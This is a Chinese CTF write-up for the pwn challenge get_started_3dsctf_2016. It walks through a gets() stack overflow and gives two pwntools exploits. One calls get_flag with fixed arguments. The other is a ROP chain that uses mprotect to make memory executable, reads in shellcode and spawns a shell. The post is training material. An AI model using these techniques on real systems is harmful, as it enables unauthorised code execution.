本来以为是一个简单的参数修改问题,但本地通了,远程出现了问题,看了其他师傅的wp学到了新的姿势

get_started_3dsctf_2016

题目很简单,就是get函数栈溢出,有一个get_flag函数,两个参数需要是确定值,正常情况很简单,但是远程不行。然后学到了mprotect函数利用的姿势

ida伪代码

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}

get_flag

void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 0xFF )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

正常exp

from pwn import *
from LibcSearcher import *
context.log_level="debug"
#context (arch = "amd64",os = "linux")
#context.terminal = ['gnome-terminal','-x','bash','-c']
choose = 1
if choose :
p = remote("node3.buuoj.cn",28317)
elf= ELF("./get_started_3dsctf_2016")
#libc = ELF('libc-2.23.so',checksec=False)
else:
p = process('./get_started_3dsctf_2016')
#p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"})
elf= ELF("./get_started_3dsctf_2016")
#libc = ELF('libc-2.23.so',checksec=False)
if __name__ == "__main__":
flag = 0x080489A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = 0x38 * "a" + p32(flag) + p32(0) + p32(a1) + p32(a2) 对应参数输入
p.sendline(payload)
p.interactive()

远程这里看到大佬运用mprotect将可读写转为读写执行,然后用read写入shell,运行即可

mprotect函数

函数原型:int mprotect(void *addr, size_t len, int prot);
//addr 内存启始地址
//len 修改内存的长度
//prot 内存的权限
函数作用:将以addr开始的内存 到 addr+len的内存的权限给设置为 prot (rwx)

远程exp

from pwn import *
from LibcSearcher import *
context.log_level="debug"
#context (arch = "amd64",os = "linux")
#context.terminal = ['gnome-terminal','-x','bash','-c']
choose = 1
if choose :
p = remote("node3.buuoj.cn",28317)
elf= ELF("./get_started_3dsctf_2016")
#libc = ELF('libc-2.23.so',checksec=False)
else:
p = process('./get_started_3dsctf_2016')
#p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"})
elf= ELF("./get_started_3dsctf_2016")
#libc = ELF('libc-2.23.so',checksec=False)
if __name__ == "__main__":
mprote = elf.sym['mprotect'] #获取mprotect的地址
read_addr = elf.sym['read'] #获取read的地址
chan_addr_start = 0x080Ea000 #通过查看动态 cat proc/(pid)/maps 获取可写可执行区域
pop = 0x0804f460 #ROPgadget 得到pop三个寄存器的加ret的指令地址
len_addr = 0x1000 #长度大于shell小于可写区域就行
payload = 0x38*"a" + p32(mprote) + p32(pop) + p32(chan_addr_start) + p32(len_addr) + p32(7) #跳mprotect地址,传参,最后一个为7,看二进制位数,网上可查找,这里不做细致说明
payload += p32(read_addr) + p32(pop) + p32(0) + p32(chan_addr_start) + p32(len_addr) + p32(chan_addr_start) #read传参,同时之前写入的地址做返回地址
p.sendline(payload)
payload2 = asm(shellcraft.sh(),arch = 'i386', os = 'linux') #直接生成shell去冲
p.sendline(payload2)
p.interactive()

对内核进程查看的一个知识点有了学习,也学到了新的函数,但是留了一个小问题,chan_addr_start的地址我开始直接插的ida,给的地址是0x080ea0e7,但是用那个地址就失败了,后来尝试0x080ea001也不行,必须是最初基地址,这里还不太懂,等到时候问一下大佬解惑

大佬地址:https://www.freebuf.com/articles/network/236000.html


一个好奇的人